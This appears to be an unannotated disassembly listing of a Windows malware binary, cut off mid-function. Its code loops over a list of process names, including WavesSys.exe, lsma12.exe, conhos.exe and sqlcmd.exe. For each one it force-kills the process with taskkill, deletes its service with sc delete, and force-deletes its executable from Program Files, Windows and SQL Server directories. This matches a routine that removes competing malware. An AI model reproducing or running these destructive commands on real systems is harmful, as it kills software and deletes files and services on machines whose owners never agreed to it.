mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.WavesSys.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x403ccb
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_WavesSys.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Corporati_Assemblies_WavesSys_
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Corporati_Assemblies_WavesSys_
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.System.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x403de4
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_System.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str._ProgramFiles_Microsoft_StuSystemSystem.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_Files__x86_Microsoft_StuSystemSystem.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_FilesMicrosoft_StuSystemSystem.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_StuSystemSystem.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_Files__x86_Microsoft_StuSystemSystem.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_FilesMicrosoft_StuSystemSystem.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.Nvdxgiwrap.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x403fd5
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_Nvdxgiwrap.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Corporati_Windows_Nvdxgiwrap_
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Corporati_Windows_Nvdxgiwrap_
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Corporati_Windows_Rsytvcem_
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Corporati_Windows_Rsytvcem_
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.Rsytvcp.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x404172
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_Rsytvcp.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str._ProgramFiles_Microsoft_RsytvcemRsytvcp.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_Files__x86_Microsoft_RsytvcemRsytvcp.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_FilesMicrosoft_RsytvcemRsytvcp.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_RsytvcemRsytvcp.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_Files__x86_Microsoft_RsytvcemRsytvcp.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_FilesMicrosoft_RsytvcemRsytvcp.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.spoolys.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x404363
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_spoolys.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:WindowsHelp_spoolys.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:WindowsHelp_spoolys.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.lsma12.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x40447c
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_lsma12.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:WindowsINF_aspnetlsma12.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:WindowsINF_aspnetlsma12.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.assm.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x404595
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_assm.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_FilesMicrosoft_SQL_ServerMSSQL11.MSSQLSERVERMSSQLDATASqlManagement_assm.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str._ProgramFiles_Microsoft_SQL_ServerMSSQL11.MSSQLSERVERMSSQLDATASqlManagement_assm.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_FilesMicrosoft_SQL_ServerMSSQL11.MSSQLSERVERMSSQLDATASqlManagement_assm.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_SQL_ServerMSSQL11.MSSQLSERVERMSSQLDATASqlManagement_assm.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.sqlcmd.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x404732
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_sqlcmd.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_FilesMicrosoft_SQL_ServerMSSQL11.MSSQLSERVERMSSQLDATASqlManagement_sqlcmd.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str._ProgramFiles_Microsoft_SQL_ServerMSSQL11.MSSQLSERVERMSSQLDATASqlManagement_sqlcmd.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_FilesMicrosoft_SQL_ServerMSSQL11.MSSQLSERVERMSSQLDATASqlManagement_sqlcmd.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_SQL_ServerMSSQL11.MSSQLSERVERMSSQLDATASqlManagement_sqlcmd.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_conhos.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_conhos.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.conhos.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x40496b
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.conhos.exe
push dword [ebp - 0x18]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4049d1
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x4049e4
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x404a07
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_conhou.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_conhou.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.conhou.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x404aea
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.conhou.exe
push dword [ebp - 0x18]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x404b50
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x404b63
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x404b86
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.m6.bin.bin.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x404bcd
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_m6.bin.bin.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.javaw.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x404c62
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_javaw.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.lsso.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x404cf7
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_clsso.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_conhoz.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_conhoz.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.conhoz.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x404e28
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.conhoz.exe
push dword [ebp - 0x18]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x404e8e
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x404ea1
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x404ec4
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_conhoz.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_conhoz.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.conhoz.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x404fa7
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.conhoz.exe
push dword [ebp - 0x18]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x40500d
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x405020
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x405043
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_conhoy.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_conhoy.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.conhoy.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x405126
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.conhoy.exe
push dword [ebp - 0x18]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x40518c
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x40519f
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4051c2
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_csrs.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
